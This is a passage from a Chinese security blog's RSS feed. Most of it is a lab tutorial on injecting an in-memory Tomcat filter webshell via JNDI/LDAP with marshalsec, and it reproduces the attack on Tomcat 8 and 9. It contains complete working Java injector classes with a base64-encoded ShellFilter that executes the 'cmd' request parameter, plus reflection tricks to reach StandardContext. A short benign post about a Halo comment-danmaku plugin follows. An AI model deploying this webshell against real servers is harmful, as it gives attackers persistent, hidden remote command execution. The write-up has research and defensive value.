        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
        Filter filter = (Filter) clazz.newInstance();
        return filter;
    }
    public Inject() throws Exception {
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
    }
}</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321651945.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">必须通过ClassLoader创建类，因为在利用环境中，这个Inject类是通过jndi服务让受害者下载到本地的，受害者环境中并没有ShellFilter这个Filter，而jndi一次只能指向到一个class上。</p>
<p style="">就算是内部类，在编译后依然会生成两个独立的class文件。所以条件所限，只能写成动态生成类的方式。</p>
<p style="">将代码编译成class文件，并启动python的httpserver，80端口。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321751744.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321822342.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">使用marshalsec起一个ldap服务。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750321851907.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">直接通过ldap注入，注入后访问?cmd=ipconfig。
 <br></p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750322064062.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750322064062.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">既然tomcat8已经成功实现，那么开始尝试使用tomcat9版本来复现。</p>
<h3 style="" id="tomcat9%E7%8E%AF%E5%A2%83">tomcat9环境</h3>
<p style="">新创建一个tomcat9</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750322738981.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750322779313.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750322779313.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750322779313.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">创建两个类：</p>
<pre><code class="language-java">package org.example.tomcat9jndi;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) {

        try {
           new Inject();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}</code></pre>
<pre><code class="language-java">package org.example.tomcat9jndi;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.Filter;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
    public StandardContext getContext() {
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
        StandardContext context = (StandardContext) standardroot.getContext();
        return context;
    }
    public Filter getFilter() throws Exception {
        String code = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEALAEEAQgoAQwBEBwBFBwBGBwBHAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MU2hlbGxGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQANU3RhY2tNYXBUYWJsZQcASAcASQcAOgEACkV4Y2VwdGlvbnMHAEoBAApTb3VyY2VGaWxlAQAQU2hlbGxGaWx0ZXIuamF2YQwAEQASBwBLDABMAE0HAE4MAE8AUAwAUQBSAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAEkMAFMAVAwAEQBVDAARAFYMAFcAWAcAWQwAWgBbBwBcDABdAF4BAAtTaGVsbEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEADgAPAAEAEAAAAAQAAQARABIAAQATAAAALwABAAEAAAAFKrcAAbEAAAACABQAAAAGAAEAAAAEABUAAAAMAAEAAAAFABYAFwAAAAEAGAAZAAEAEwAAADUAAAACAAAAAbEAAAACABQAAAAGAAEAAAAGABUAAAAWAAIAAAABABYAFwAAAAAAAQAaABsAAQABABwAEgABABMAAAArAAAAAQAAAAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAAAQAWABcAAAABAB0AHgACABMAAADrAAUACAAAAEgrEgK5AAMCADoEGQTGADu4AAQZBLYABToFuwAGWbsAB1kZBbYACLcACbcACjoGGQa2AAtZOgfGABEsuQAMAQAZB7YADaf/6rEAAAADABQAAAAiAAgAAAALAAoADAAPAA0AGQAOACMADwAuABEAOQASAEcAFQAVAAAAUgAIABkALgAfACAABQAuABkAIQAiAAYANgARACMAJAAHAAAASAAWABcAAAAAAEgAJQAmAAEAAABIACcAKAACAAAASAApACoAAwAKAD4AKwAkAAQALAAAABEAAv4ALgcALQcALgcAL/kAGAAwAAAABAABADEAAQAyAAAAAgAz";
        byte[] bytes = Base64.getDecoder().decode(code);

        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
        Filter filter = (Filter) clazz.newInstance();
        return filter;
    }
    public Inject() throws Exception {
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
   </code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325039685.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325011917.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325039685.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325011917.png&amp;size=m" width="100%" height="100%">
</figure>
<pre><code class="language-java">}</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325039685.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325011917.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">启动tomcat，访问/hello，发现报错，在Inject.java的getContext()方法处爆出了空指针异常， Inject.getContext(Inject.java:17)</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325127256.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">null。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325127256.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">断点调试，看是哪个地方出现了问题，将new Inject();</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325199274.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">断点并重新运行。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325199274.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">standardroot=null，获取变量失败，那就是这个地方的问题，跟进方法webappClassLoaderBase.get</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325491179.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">ources();。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325491179.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">该方法已弃用，但全局存在protect</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325786473.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325786473.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327121923.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">resources属性。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750325786473.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327121923.png&amp;size=m" width="100%" height="100%">
</figure>
<p style=""><strong>1. </strong><code>resources</code><strong> 字段的作用​​</strong></p>
<ul>
 <li>
  <p style="">​<strong>​所属类​</strong>​：<code>WebappClassLoaderBase</code>（Tomcat 的 Web 应用类加载器）。</p>
 </li>
 <li>
  <p style="">​<strong>​类型​</strong>​：<code>org.apache.catalina.webresources.StandardRoot</code>。</p>
 </li>
 <li>
  <p style="">​<strong>​功能​</strong>​：</p>
  <ul>
   <li>
    <p style="">管理 Web 应用的静态资源（如 <code>.jsp</code>、<code>.html</code>、<code>.class</code> 文件）。</p>
   </li>
   <li>
    <p style="">提供类加载路径（<code>/WEB-INF/classes</code> 和 <code>/WEB-INF/lib</code>）。</p>
   </li>
   <li>
    <p style="">与 <code>StandardContext</code> 关联，控制资源访问权限。</p>
   </li>
  </ul>
 </li>
</ul>
<hr>
<p style=""><strong>​​2. 为什么需要访问 </strong><code>resources</code><strong> 字段？​​</strong></p>
<p style="line-height: 1.75">Tomcat 没有提供公开 API 直接获取 <code>StandardRoot</code> 或 <code>StandardContext</code>，但某些场景需要它们，例如：</p>
<ul>
 <li>
  <p style="">​<strong>​动态注册 Servlet/Filter​</strong>​（如 Spring Boot 内嵌 Tomcat）。</p>
 </li>
 <li>
  <p style="">​<strong>​调试类加载问题​</strong>​（如 <code>ClassNotFoundException</code>）。</p>
 </li>
 <li>
  <p style="">​<strong>​直接操作 JNDI 资源​</strong>​（绕过 <code>java:comp/env</code> 查找）。</p>
 </li>
</ul>
<p style="line-height: 1.75">由于 <code>resources</code> 是私有字段，​<strong>​必须用反射强行访问​</strong>​。</p>
<p style="line-height: 1.75"><code>Thread.currentThread().getContextClassLoader()</code><strong>​</strong>​
 <br>
 获取当前线程的上下文类加载器（通常是 Tomcat 的 <code>WebappClassLoaderBase</code>）。</p>
<p style="line-height: 1.75">​<strong>​</strong><code>(WebappClassLoaderBase)</code><strong>​</strong>​
 <br>
 强制转换为 Tomcat 的 Web 应用类加载器，因为 Tomcat 会为每个 Web 应用创建一个独立的 <code>WebappClassLoaderBase</code>。</p>
<p style="">直接通过反射获取StandardContext ：</p>
<pre><code class="language-java">package org.example.tomcat9jndi;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.Filter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
    public StandardContext getContext() throws NoSuchFieldException, IllegalAccessException {
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot standardRoot = (StandardRoot) field.get(webappClassLoaderBase);
        StandardContext context = (StandardContext) standardRoot.getContext();
        return context;
    }
    public Filter getFilter() throws Exception {
        String code = "yv66vgAAADQAXwoADwA0CAArCwA1ADYKADcAOAoANwA5BwA6BwA7CgA8AD0KAAcAPgoABgA/CgAGAEALAEEAQgoAQwBEBwBFBwBGBwBHAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MU2hlbGxGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQANU3RhY2tNYXBUYWJsZQcASAcASQcAOgEACkV4Y2VwdGlvbnMHAEoBAApTb3VyY2VGaWxlAQAQU2hlbGxGaWx0ZXIuamF2YQwAEQASBwBLDABMAE0HAE4MAE8AUAwAUQBSAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAEkMAFMAVAwAEQBVDAARAFYMAFcAWAcAWQwAWgBbBwBcDABdAF4BAAtTaGVsbEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEADgAPAAEAEAAAAAQAAQARABIAAQATAAAALwABAAEAAAAFKrcAAbEAAAACABQAAAAGAAEAAAAEABUAAAAMAAEAAAAFABYAFwAAAAEAGAAZAAEAEwAAADUAAAACAAAAAbEAAAACABQAAAAGAAEAAAAGABUAAAAWAAIAAAABABYAFwAAAAAAAQAaABsAAQABABwAEgABABMAAAArAAAAAQAAAAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAAAQAWABcAAAABAB0AHgACABMAAADrAAUACAAAAEgrEgK5AAMCADoEGQTGADu4AAQZBLYABToFuwAGWbsAB1kZBbYACLcACbcACjoGGQa2AAtZOgfGABEsuQAMAQAZB7YADaf/6rEAAAADABQAAAAiAAgAAAALAAoADAAPAA0AGQAOACMADwAuABEAOQASAEcAFQAVAAAAUgAIABkALgAfACAABQAuABkAIQAiAAYANgARACMAJAAHAAAASAAWABcAAAAAAEgAJQAmAAEAAABIACcAKAACAAAASAApACoAAwAKAD4AKwAkAAQALAAAABEAAv4ALgcALQcALgcAL/kAGAAwAAAABAABADEAAQAyAAAAAgAz";
        byte[] bytes = Base64.getDecoder().decode(code);

        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
        Filter filter = (Filter) clazz.newInstance();
        return filter;
    }
    public Inject() throws Exception {
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
    }</code></pre>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327473404.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327473404.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">运行tomc</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327848238.png&amp;size=m" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327848238.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">提示注入成功。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327473404.png&amp;size=m" width="100%" height="100%">
</figure>
<p style="">可执行命令。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1750327848238.png&amp;size=m" width="100%" height="100%">
</figure>
<h3 style="" id="%E5%BC%95%E7%94%A8">引用</h3>
<p style=""><hyperlink-inline-card target="_blank" href="https://www.bilibili.com/video/BV18vMczoEgA?spm_id_from=333.788.videopod.sections&amp;vd_source=90787ebde79c2be9be18f804ecb72d03" theme="inline"><a href="https://www.bilibili.com/video/BV18vMczoEgA?spm_id_from=333.788.videopod.sections&amp;vd_source=90787ebde79c2be9be18f804ecb72d03" target="_blank">https://www.bilibili.com/video/BV18vMczoEgA?spm_id_from=333.788.videopod.sections&amp;vd_source=90787ebde79c2be9be18f804ecb72d03</a></hyperlink-inline-card></p>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/019b6af2-d435-742a-8467-d2320883b5d2</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fbanner-fJxN.jpg&amp;size=m" type="image/jpeg" length="36938"/><category>网络安全</category><pubDate>Thu, 19 Jun 2025 08:07:50 GMT</pubDate></item><item><title><![CDATA[基于Barrager.js的Halo主题评论弹幕插件]]></title><link>http://gowninng.cn/archives/96152fa0-8df9-4212-8ae2-bdad15e92dcc</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E5%9F%BA%E4%BA%8EBarrager.js%E7%9A%84Halo%E4%B8%BB%E9%A2%98%E8%AF%84%E8%AE%BA%E5%BC%B9%E5%B9%95%E6%8F%92%E4%BB%B6&amp;url=/archives/96152fa0-8df9-4212-8ae2-bdad15e92dcc" width="1" height="1" alt="" style="opacity:0;">
<p style="">最近闲来无事，经常逛别人博客，发现<hyperlink-inline-card target="_blank" href="https://usj.cc/" theme="inline"><a href="https://usj.cc/" target="_blank">https://usj.cc/</a></hyperlink-inline-card> 的弹幕评论挺有意思，发现该博主的弹幕是基于<hyperlink-inline-card target="_blank" href="https://yaseng.org/jquery.barrager.js/" theme="inline"><a href="https://yaseng.org/jquery.barrager.js/" target="_blank">https://yaseng.org/jquery.barrager.js/</a></hyperlink-inline-card> 所写。同时我发现halo博客并没有类似该弹幕效果的插件，我就依葫芦画瓢将该弹幕移植到Halo博客中的插件了。</p>
<h3 style="" id="%E6%95%88%E6%9E%9C">效果</h3>
<p style="">（原谅我博客评论较少，和上面博主的效果其实差不多）</p>
<p style=""><hyperlink-inline-card target="_blank" href="https://gowninng.cn/?preview-theme=theme-Ying" theme="inline"><a href="https://gowninng.cn/?preview-theme=theme-Ying" target="_blank">https://gowninng.cn/?preview-theme=theme-Ying</a></hyperlink-inline-card> 这是Ying主题演示链接。</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749645967262.png&amp;size=m" alt="1749645967262.png" width="100%" height="100%" data-position="left">
</figure>
<h3 style="" id="%E5%90%8E%E5%8F%B0%E8%AE%BE%E7%BD%AE">后台设置</h3>
<p style="">详情：</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749646068444.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<h3 style="" id="%E6%A0%B7%E5%BC%8F%E8%AE%BE%E7%BD%AE">样式设置</h3>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749646125960.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">支持halo评论插件和artalk评论插件，使用artalk评论插件的话要配合<strong>artalk评论区</strong>插件使用。</p>
<p style="">容器层级设置：如果当前使用的主题中没有设置z-index层级的话，可以设置一下，防止弹幕不在body的下面。</p>
<p style="">弹幕层级：弹幕层级要比容器层级低，这样才会在body后面。</p>
<p style="">其他都是一些简单的设置。</p>
<h3 style="" id="%E8%A1%8C%E4%B8%BA%E8%AE%BE%E7%BD%AE">行为设置
 <br></h3>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749646663831.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<p style="">行为设置中都是常规设置。</p>
<h3 style="" id="%E9%A1%B5%E9%9D%A2%E8%AE%BE">页面设</h3>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1749646746626.png&amp;size=m" width="100%" height="100%" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
